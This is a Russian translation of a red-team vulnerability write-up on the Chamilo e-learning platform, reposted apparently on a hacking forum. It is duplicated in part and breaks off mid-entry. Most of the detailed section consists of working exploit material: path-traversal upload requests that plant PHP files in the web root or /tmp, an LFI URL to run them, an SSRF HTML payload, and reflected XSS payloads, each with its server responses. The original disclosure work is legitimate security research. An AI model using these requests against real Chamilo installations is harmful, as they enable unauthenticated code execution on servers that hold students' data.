D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Источник: https://blog.quarkslab.com/exploiting-chamilo-during-a-red-team-engagement.html
Перевёл: BLUA специально для xss.is
Контекст
Chamilo — это платформа для электронного обучения с открытым исходным кодом, используемая педагогами по всему миру для цифровизации и формализации содержания своих курсов.
Во время работы с Red Team мы оказались в ситуации, когда объем работ, связанный с нашим клиентом, был крайне ограничен. Тем не менее, мы обнаружили, что в Интернете есть актуальная версия Chamilo, которая доступна для общего доступа. Эта CMS разработана на PHP, что делает её особенно интересной целью для нас. Зная, что в 2023 году коллеги-исследователи из RandoriSec и STAR Labs выявили несколько уязвимостей, мы были уверены в своих шансах найти новые уязвимости, которые позволят нам получить первоначальный доступ.
Мы провели аудит исходного кода с ограниченным временем и выявили множество уязвимостей в последней версии CMS (1.11.26 на тот момент), хотя только несколько из них оказались полезными для построения полной цепочки эксплуатации, которая позволила бы нам выполнить удаленное выполнение кода без аутентификации.
На основе нашего аудита исходного кода мы выявили следующие уязвимости:
- Множественная произвольная запись файлов с удаленным выполнением кода.
- V1: Произвольная запись файлов через
- V2: Произвольная запись файлов через
- Путь обхода к локальному включению файлов с удаленным выполнением кода.
- V3: Обход пути к локальному включению файлов через вызов
- Подделка запросов со стороны сервера (SSRF)
- V4: Подделка запросов со стороны сервера (SSRF) через функцию конвертации HTML в PDF.
- Множественные межсайтовые скриптовые атаки (XSS)
- Множественные отраженные межсайтовые скриптовые атаки (XSS)
- V5: Отраженная межсайтовая скриптовая атака (XSS) в
- V6: Отраженная межсайтовая скриптовая атака (XSS) в
- Множественные сохраненные межсайтовые скриптовые атаки (XSS)
- V7: Сохраненная межсайтовая скриптовая атака (XSS) в
- V8: Сохраненная межсайтовая скриптовая атака (XSS) через функцию обмена сообщениями
Среди 8 уязвимостей, выявленных в ядре, одна (V1) была использована в нашей цепочке для достижения удаленного выполнения кода (RCE) (опционально могла быть использована V3), как описано на диаграмме ниже.
V1: Произвольная запись файла через
- Путь запроса:
- Параметр запроса:
Файл:
PHP: Скопировать в буфер обмена
Вышеуказанный фрагмент кода показывает, что содержимое файла (контролируемое злоумышленником) записывается в расположение, созданное на основе данных, предоставленных злоумышленником (
Запрос на загрузку файла в корневую директорию Chamilo:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
В зависимости от того, куда злоумышленник намеревается записать свой файл, ему нужно просто поиграть со значением параметра
Запрос на загрузку файла в
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
V2: Произвольная запись файла через
- Путь запроса:
- Параметр запроса:
Файл:
Функция:
PHP: Скопировать в буфер обмена
Данный фрагмент кода подчеркивает, что аутентифицированный пользователь с высокими привилегиями (чаще всего администратор) может загрузить PHP-файл на сервер при изменении своего профиля. При создании файла, отправляемого злоумышленником через параметр
Запрос на загрузку файла:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
В результате вышеуказанного запроса файл затем сохраняется по адресу
V3: Проход по пути к LFI через вызов
- Путь запроса:
- Параметр запроса:
- Пример URL, использующего уязвимость:
Файл:
PHP: Скопировать в буфер обмена
Файл:
Функция:
PHP: Скопировать в буфер обмена
В приведённом исходном коде показано, что, манипулируя параметром
На самом деле, на этом этапе злоумышленник уже может получить выполнение кода через произвольную запись файла Arbitrary File Write(V1), поэтому эксплуатация этой уязвимости не имеет большого смысла. Однако мы нашли применение для этой уязвимости. Если злоумышленник не может записать свой веб-оболочку в корневую директорию веб-сервера, он всегда может записать её в такую директорию, как
V4: SSRF через функцию конвертации HTML в PDF.
В ходе аудита исходного кода было выявлено, что пользователь, имеющий возможность загружать файлы в рамках курса, может воспользоваться уязвимостью SSRF через функциональность генерации PDF. Эта уязвимость возникает из-за преобразования файлов
Ниже приведены скриншоты и соответствующие HTTP-запросы, которые иллюстрируют, как злоумышленник может активировать уязвимость. Используемый в следующих запросах полезный нагрузка выглядит следующим образом:
HTML: Скопировать в буфер обмена
Запрос на загрузку файла (часть 1 из 3):
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Запрос на загрузку файла (часть 2 из 3):
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Запрос на загрузку файла (часть 3 из 3):
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Запрос на создание PDF-файла:
Код: Скопировать в буфер обмена
Более того, наличие HTML-файла в файловой системе также может привести к срабатыванию сохраненного XSS, как только путь к файлу будет определен.
V5: Отраженный XSS в
- Путь запроса:
- Параметр запроса:
- Пример URL, использующего уязвимость:
Файл:
PHP: Скопировать в буфер обмена
Пользователь с доступом к странице
Запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Отраженная XSS-уязвимость может быть легко выявлена и использована, создавая URL, содержащий вредоносный параметр
V6: Отраженная XSS в
- Путь запроса:
- Параметр запроса:
- Пример URL, использующего уязвимость:
Файл:
PHP: Скопировать в буфер обмена
Отражённый XSS можно легко определить и использовать, создав URL, содержащий вредоносный параметр
V7: Хранённый XSS в
- Путь запроса:
- Параметр запроса:
Можно использовать хранимый XSS через функциональность календаря. Проблема в том, что он срабатывает только при изменении содержимого события. В результате его использование в реалистичном сценарии атаки очень ограничено, в отличие от следующей уязвимости, которая будет описана (V8).
V8: Хранимый XSS через функцию обмена сообщениями.
Злоумышленник может отправить злонамеренное личное сообщение администратору, используя немного изменённый полезный нагрузку (по сравнению с предыдущими). Когда администратор открывает сообщение и пытается ответить, полезная нагрузка выполняется, что потенциально позволяет злоумышленнику получить выполнение кода (V2).
- Путь запроса:
- Параметр запроса:
Заключение
Получение удаленного выполнения кода от неаутентифицированного пользователя путем объединения некоторых из представленных уязвимостей является тривиальным (V1, V3), так как функциональность, позволяющая пользователю регистрироваться, включена в стандартной установке. Однако во время нашей миссии эта функция была отключена, и поэтому мы использовали другую уязвимость (SQL-инъекция без аутентификации в плагине), чтобы получить полную цепочку.
Не редкость искать уязвимости нулевого дня во время упражнений Red Team, особенно в определенных особых случаях (ограниченная поверхность атаки, необходимость в скрытности и т. д.), и мы рады, что смогли их найти.
Реализация корректирующих мер.
Уязвимости были сообщены команде разработчиков Chamilo 4 апреля 2024 года. Мы хотели бы поблагодарить разработчиков Chamilo, с которыми взаимодействие по вопросам отчетов об уязвимостях и реализации патчей прошло очень гладко.
Коммиты для исправления выявленных уязвимостей были отправлены нам партиями. Список коммитов, реализующих патчи для выявленных уязвимостей, представлен ниже:
Перевёл: BLUA специально для xss.is
Контекст
Chamilo — это платформа для электронного обучения с открытым исходным кодом, используемая педагогами по всему миру для цифровизации и формализации содержания своих курсов.
Во время работы с Red Team мы оказались в ситуации, когда объем работ, связанный с нашим клиентом, был крайне ограничен. Тем не менее, мы обнаружили, что в Интернете есть актуальная версия Chamilo, которая доступна для общего доступа. Эта CMS разработана на PHP, что делает её особенно интересной целью для нас. Зная, что в 2023 году коллеги-исследователи из RandoriSec и STAR Labs выявили несколько уязвимостей, мы были уверены в своих шансах найти новые уязвимости, которые позволят нам получить первоначальный доступ.
Мы провели аудит исходного кода с ограниченным временем и выявили множество уязвимостей в последней версии CMS (1.11.26 на тот момент), хотя только несколько из них оказались полезными для построения полной цепочки эксплуатации, которая позволила бы нам выполнить удаленное выполнение кода без аутентификации.
На основе нашего аудита исходного кода мы выявили следующие уязвимости:
- Множественная произвольная запись файлов с удаленным выполнением кода.
- V1: Произвольная запись файлов через
/main/inc/ajax/document.ajax.php
- V2: Произвольная запись файлов через
/main/admin/user_edit.php
- Путь обхода к локальному включению файлов с удаленным выполнением кода.
- V3: Обход пути к локальному включению файлов через вызов
require()
в /main/inc/ajax/plugin.ajax.php
- Подделка запросов со стороны сервера (SSRF)
- V4: Подделка запросов со стороны сервера (SSRF) через функцию конвертации HTML в PDF.
- Множественные межсайтовые скриптовые атаки (XSS)
- Множественные отраженные межсайтовые скриптовые атаки (XSS)
- V5: Отраженная межсайтовая скриптовая атака (XSS) в
/main/session/session_category_list.php
- V6: Отраженная межсайтовая скриптовая атака (XSS) в
/main/upload/index.php
- Множественные сохраненные межсайтовые скриптовые атаки (XSS)
- V7: Сохраненная межсайтовая скриптовая атака (XSS) в
/main/calendar/agenda.php
- V8: Сохраненная межсайтовая скриптовая атака (XSS) через функцию обмена сообщениями
Статический анализ (ручное чтение кода) использовался для выявления всех уязвимостей без использования каких-либо инструментов SAST или других инструментов.
Нажмите, чтобы раскрыть...
Среди 8 уязвимостей, выявленных в ядре, одна (V1) была использована в нашей цепочке для достижения удаленного выполнения кода (RCE) (опционально могла быть использована V3), как описано на диаграмме ниже.
V1: Произвольная запись файла через
/main/inc/ajax/document.ajax.php
- Путь запроса:
/main/inc/ajax/document.ajax.php
- Параметр запроса:
$_FILES['upload']
Файл:
/main/inc/ajax/document.ajax.php
PHP: Скопировать в буфер обмена
Код:
<?php
...
require_once __DIR__.'/../global.inc.php';
$action = $_REQUEST['a'];
switch ($action) {
...
case 'ck_uploadimage':
api_protect_course_script(true);
// it comes from uploaimage drag and drop ckeditor
$isCkUploadImage = ($_COOKIE['ckCsrfToken'] == $_POST['ckCsrfToken']);
if (!$isCkUploadImage) {
exit;
}
$data = [];
$fileUpload = $_FILES['upload'];
$currentDirectory = Security::remove_XSS($_REQUEST['curdirpath']);
$isAllowedToEdit = api_is_allowed_to_edit(null, true);
if ($isAllowedToEdit) {
...
} else {
$userId = api_get_user_id();
$syspath = UserManager::getUserPathById($userId, 'system').'my_files'.$currentDirectory;
if (!is_dir($syspath)) {
mkdir($syspath, api_get_permissions_for_new_directories(), true);
}
$webpath = UserManager::getUserPathById($userId, 'web').'my_files'.$currentDirectory;
$fileUploadName = $fileUpload['name'];
if (file_exists($syspath.$fileUploadName)) {
$extension = pathinfo($fileUploadName, PATHINFO_EXTENSION);
$fileName = pathinfo($fileUploadName, PATHINFO_FILENAME);
$suffix = '_'.uniqid();
$fileUploadName = $fileName.$suffix.'.'.$extension;
}
if (move_uploaded_file($fileUpload['tmp_name'], $syspath.$fileUploadName)) {
$url = $webpath.$fileUploadName;
$relativeUrl = str_replace(api_get_path(WEB_PATH), '/', $url);
$data = [
'uploaded' => 1,
'fileName' => $fileUploadName,
'url' => $relativeUrl,
];
}
}
echo json_encode($data);
exit;
...
}
exit;
Вышеуказанный фрагмент кода показывает, что содержимое файла (контролируемое злоумышленником) записывается в расположение, созданное на основе данных, предоставленных злоумышленником (
$_REQUEST['curdirpath']
, $_FILES['upload']['name']
). В результате злоумышленник может записать файл, контролируя его содержимое и путь, что позволяет ему выполнять удаленный код. Таким образом, аутентифицированный пользователь с минимальным уровнем привилегий может воспользоваться этой уязвимостью.Запрос на загрузку файла в корневую директорию Chamilo:
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../ HTTP/1.1
Host: 127.0.0.1:58080
Content-Length: 227
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close
--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
--------------------------69e83ade0f7b04ec--
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 12:37:44 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8
{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/plugin.php"}
В зависимости от того, куда злоумышленник намеревается записать свой файл, ему нужно просто поиграть со значением параметра
$_REQUEST['curdirpath']
, определив количество шаблонов ../
, необходимых для достижения желаемого местоположения.Запрос на загрузку файла в
/tmp
:Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/ajax/document.ajax.php?a=ck_uploadimage&curdirpath=/../../../../../../../../../../../../../../tmp/ HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: curl/7.88.1
Accept: */*
Cookie: ch_sid=<CHAMILO_COOKIE>
Content-Length: 223
Content-Type: multipart/form-data; boundary=------------------------69e83ade0f7b04ec
Connection: close
--------------------------69e83ade0f7b04ec
Content-Disposition: form-data; name="upload"; filename="plugin.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
--------------------------69e83ade0f7b04ec--
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 00:26:46 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 156
Connection: close
Content-Type: text/html; charset=UTF-8
{"uploaded":1,"fileName":"plugin.php","url":"\/app\/upload\/users\/3\/3\/my_files\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/plugin.php"}
Это одна из уязвимостей, используемых в цепочке для получения удаленного выполнения кода без аутентификации.
Нажмите, чтобы раскрыть...
V2: Произвольная запись файла через
/main/admin/user_edit.php
- Путь запроса:
/main/admin/user_edit.php
- Параметр запроса:
$_POST['extra_testextrafields']
Файл:
/main/inc/lib/extra_field_value.lib.php
Функция:
ExtraFieldValue::saveFieldValues()
PHP: Скопировать в буфер обмена
Код:
<?php
...
public function saveFieldValues(
$params,
$onlySubmittedFields = false,
$showQuery = false,
$saveOnlyThisFields = [],
$avoidFields = [],
$forceSave = false,
$deleteOldValues = true
) {
...
// Parse params.
foreach ($extraFields as $fieldDetails) {
...
switch ($extraFieldInfo['field_type']) {
...
case ExtraField::FIELD_TYPE_FILE:
$fileDir = $fileDirStored = '';
switch ($this->type) {
case 'course':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'courses/';
$fileDirStored = "courses/";
break;
case 'session':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'sessions/';
$fileDirStored = "sessions/";
break;
case 'user':
$fileDir = UserManager::getUserPathById($params['item_id'], 'system');
$fileDirStored = UserManager::getUserPathById($params['item_id'], 'last');
break;
case 'work':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'work/';
$fileDirStored = "work/";
break;
case 'scheduled_announcement':
$fileDir = api_get_path(SYS_UPLOAD_PATH).'scheduled_announcement/';
$fileDirStored = 'scheduled_announcement/';
break;
}
$cleanedName = api_replace_dangerous_char($value['name']);
$fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
if (!file_exists($fileDir)) {
mkdir($fileDir, $dirPermissions, true);
}
if (!empty($value['tmp_name']) && isset($value['error']) && $value['error'] == 0) {
$cleanedName = api_replace_dangerous_char($value['name']);
$fileName = ExtraField::FIELD_TYPE_FILE."_{$params['item_id']}_$cleanedName";
moveUploadedFile($value, $fileDir.$fileName);
...
}
break;
...
}
}
}
...
Данный фрагмент кода подчеркивает, что аутентифицированный пользователь с высокими привилегиями (чаще всего администратор) может загрузить PHP-файл на сервер при изменении своего профиля. При создании файла, отправляемого злоумышленником через параметр
$_POST['extra_testextrafields']
, проверки на сгенерированное имя файла слишком лояльны (что позволяет создавать PHP-файлы). Однако, в отличие от описанной выше уязвимости (V1), этой можно воспользоваться только администратору.Запрос на загрузку файла:
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------109845679426710278371552566468
Content-Length: 4880
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/admin/user_edit.php?user_id=1
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="firstname"
Jean
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="lastname"
Dupont
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="official_code"
ADMIN
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="email"
webmaster@localhost.localdomain
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="phone"
...
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="extra_testextrafields"; filename="plugin.php"
Content-Type: application/x-php
<?php
phpinfo();
?>
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="submit"
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="_qf__user_edit"
-----------------------------109845679426710278371552566468
Content-Disposition: form-data; name="protect_token"
...
-----------------------------109845679426710278371552566468--
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 302 Found
Date: Tue, 05 Mar 2024 23:01:56 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: user_list.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
В результате вышеуказанного запроса файл затем сохраняется по адресу
/app/upload/users/1/1/18_1_plugin.php
.Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...
V3: Проход по пути к LFI через вызов
require()
в /main/inc/ajax/plugin.ajax.php
- Путь запроса:
/main/inc/ajax/plugin.ajax.php
- Параметр запроса:
$_GET['plugin']
- Пример URL, использующего уязвимость:
/main/inc/ajax/plugin.ajax.php?a=md_to_html&plugin=../../../../../../../../../../../../tmp
Файл:
/main/inc/ajax/plugin.ajax.php
PHP: Скопировать в буфер обмена
Код:
<?php
/* For licensing terms, see /license.txt */
use Michelf\MarkdownExtra;
/** Это одна из уязвимостей, использованных в цепочке для получения удалённого выполнения кода без аутентификации.
* Responses to AJAX calls.
*/
require_once __DIR__.'/../global.inc.php';
api_block_anonymous_users();
$action = $_REQUEST['a'];
switch ($action) {
case 'md_to_html':
$plugin = isset($_GET['plugin']) ? $_GET['plugin'] : '';
$appPlugin = new AppPlugin();
$pluginInfo = $appPlugin->getPluginInfo($plugin);
...
break;
}
Файл:
/main/inc/lib/plugin.lib.php
Функция:
AppPlugin::getPluginInfo()
PHP: Скопировать в буфер обмена
Код:
<?php
...
public function getPluginInfo($plugin_name, $forced = false)
{
$pluginData = Session::read('plugin_data');
if (isset($pluginData[$plugin_name]) && $forced == false) {
return $pluginData[$plugin_name];
} else {
$plugin_file = api_get_path(SYS_PLUGIN_PATH)."$plugin_name/plugin.php";
$plugin_info = [];
if (file_exists($plugin_file)) {
require $plugin_file;
}
...
}
}
...
...
В приведённом исходном коде показано, что, манипулируя параметром
$_GET['plugin']
, злоумышленник может контролировать первый аргумент функции AppPlugin::getPluginInfo()
, которая, в свою очередь, создаёт путь (уязвимый к обходу каталога) на основе этого аргумента и затем вызывает функцию require()
(включение локальных файлов, также известное как LFI) с созданным путём.На самом деле, на этом этапе злоумышленник уже может получить выполнение кода через произвольную запись файла Arbitrary File Write(V1), поэтому эксплуатация этой уязвимости не имеет большого смысла. Однако мы нашли применение для этой уязвимости. Если злоумышленник не может записать свой веб-оболочку в корневую директорию веб-сервера, он всегда может записать её в такую директорию, как
/tmp
, а затем использовать эту уязвимость для её выполнения. Это скорее резервное или запасное решение, позволяющее нам обеспечить удалённое выполнение кода (RCE) независимо от контекста удалённого приложения.Это одна из уязвимостей, использованных в цепочке для получения удалённого выполнения кода без аутентификации.
Нажмите, чтобы раскрыть...
V4: SSRF через функцию конвертации HTML в PDF.
В ходе аудита исходного кода было выявлено, что пользователь, имеющий возможность загружать файлы в рамках курса, может воспользоваться уязвимостью SSRF через функциональность генерации PDF. Эта уязвимость возникает из-за преобразования файлов
.html
и .htm
в PDF с использованием компонента mPDF, для которого уже была задокументирована уязвимость SSRF в блоге, доступном в Интернете.Ниже приведены скриншоты и соответствующие HTTP-запросы, которые иллюстрируют, как злоумышленник может активировать уязвимость. Используемый в следующих запросах полезный нагрузка выглядит следующим образом:
HTML: Скопировать в буфер обмена
Код:
<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>
Запрос на загрузку файла (часть 1 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=0&origin=document&name=poc.html HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
<html>
<link href="http://172.17.0.1:8000/A?B=C" rel="stylesheet" media="print"/>
<body>
<p>XSS and SSRF</p>
<img/src="x"onerror="alert(1234)"/>
</body>
</html>
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8
{"key":"40448921.tmp","errorStatus":0}
Запрос на загрузку файла (часть 2 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=upload&key=40448921.tmp&origin=document HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:14 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8
{"key":"40448921.tmp","errorStatus":0}
Запрос на загрузку файла (часть 3 из 3):
Код: Скопировать в буфер обмена
Код:
POST /Projects/chamilo_1.11.26/main/inc/lib/javascript/bigupload/inc/bigUpload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=finish HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded
Content-Length: 184
Origin: http://127.0.0.1:58080
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/upload.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&id=0
Cookie: ch_sid=<CHAMILO_COOKIE>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
key=40448921.tmp&name=poc.html&type=text/html&size=195&origin=document&title=Test+SSRF+via+.html+file&comment=&if_exists=rename&_qf__upload=&id=0&curdirpath=%2F&MAX_FILE_SIZE=104857600
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2024 23:33:15 GMT
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 179
Connection: close
Content-Type: text/html; charset=UTF-8
{"errorStatus":0,"redirect":"http:\/\/127.0.0.1:58080\/Projects\/chamilo_1.11.26\/main\/document\/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document"}
Запрос на создание PDF-файла:
Код: Скопировать в буфер обмена
Код:
GET /Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=9be32517b0bd7710ada5ed1241792b80 HTTP/1.1
Host: 127.0.0.1:58080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://127.0.0.1:58080/Projects/chamilo_1.11.26/main/document/document.php?cidReq=COURSTEST&id_session=0&gidReq=0&gradebook=0&origin=document&action=export_to_pdf&id=6&curdirpath=%2F&sec_token=89a8ed03b8c11891347221d1240d80a4
Cookie: ch_sid=<CHAMILO_COOKIE>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Более того, наличие HTML-файла в файловой системе также может привести к срабатыванию сохраненного XSS, как только путь к файлу будет определен.
Эта уязвимость не была использована в цепочке эксплойтов.
Нажмите, чтобы раскрыть...
V5: Отраженный XSS в
/main/session/session_category_list.php
- Путь запроса:
/main/session/session_category_list.php
- Параметр запроса:
$_REQUEST['keyword']
- Пример URL, использующего уязвимость:
/main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1)
Файл:
/main/session/session_category_list.php
PHP: Скопировать в буфер обмена
Код:
<?php
...
<a href="<?php echo api_get_self(); ?>?page=<?php echo $page
- 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
$_REQUEST['order']
); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
<?php echo get_lang('Previous'); ?></a>
<?php
} else {
echo get_lang('Previous');
} ?>
|
<?php
if ($nbr_results > $limit) {
?>
<a href="<?php echo api_get_self(); ?>?page=<?php echo $page
+ 1; ?>&sort=<?php echo $sort; ?>&order=<?php echo Security::remove_XSS(
$_REQUEST['order']
); ?>&keyword=<?php echo $_REQUEST['keyword']; ?><?php echo @$cond_url; ?>">
<?php echo get_lang('Next'); ?></a>
...
Пользователь с доступом к странице
/main/session/session_category_list.php
может вызвать уязвимость.Запрос:
Код: Скопировать в буфер обмена
Код:
GET /Projects/chamilo_1.11.26/main/session/session_category_list.php?keyword=IVOIRE%22autofocus=%22%22onfocus=%22alert(1) HTTP/1.1
Host: 127.0.0.1:58080
Cookie: ch_sid=<CHAMILO_COOKIE>
Ответ:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: Chamilo 1
Content-Type: text/html; charset=UTF-8
Content-Length: 27367
...
<div class="pull-right">
<form method="POST" action="session_category_list.php" class="form-inline">
<div class="form-group">
<input class="form-control" type="text" name="keyword" value="IVOIRE"autofocus=""onfocus="alert(1)"
aria-label="Rechercher"/>
<button class="btn btn-default" type="submit" name="name"
value="Rechercher"><em
class="fa fa-search"></em> Rechercher</button>
<!-- <a href="session_list.php?search=advanced">Recherche avancée</a> -->
</div>
</form>
</div>
...
Отраженная XSS-уязвимость может быть легко выявлена и использована, создавая URL, содержащий вредоносный параметр
$_REQUEST['keyword']
.Эта уязвимость не была использована в цепочке эксплуатации.
Нажмите, чтобы раскрыть...
V6: Отраженная XSS в
/main/upload/index.php
- Путь запроса:
/main/upload/index.php
- Параметр запроса:
$_REQUEST['tool']
- Пример URL, использующего уязвимость:
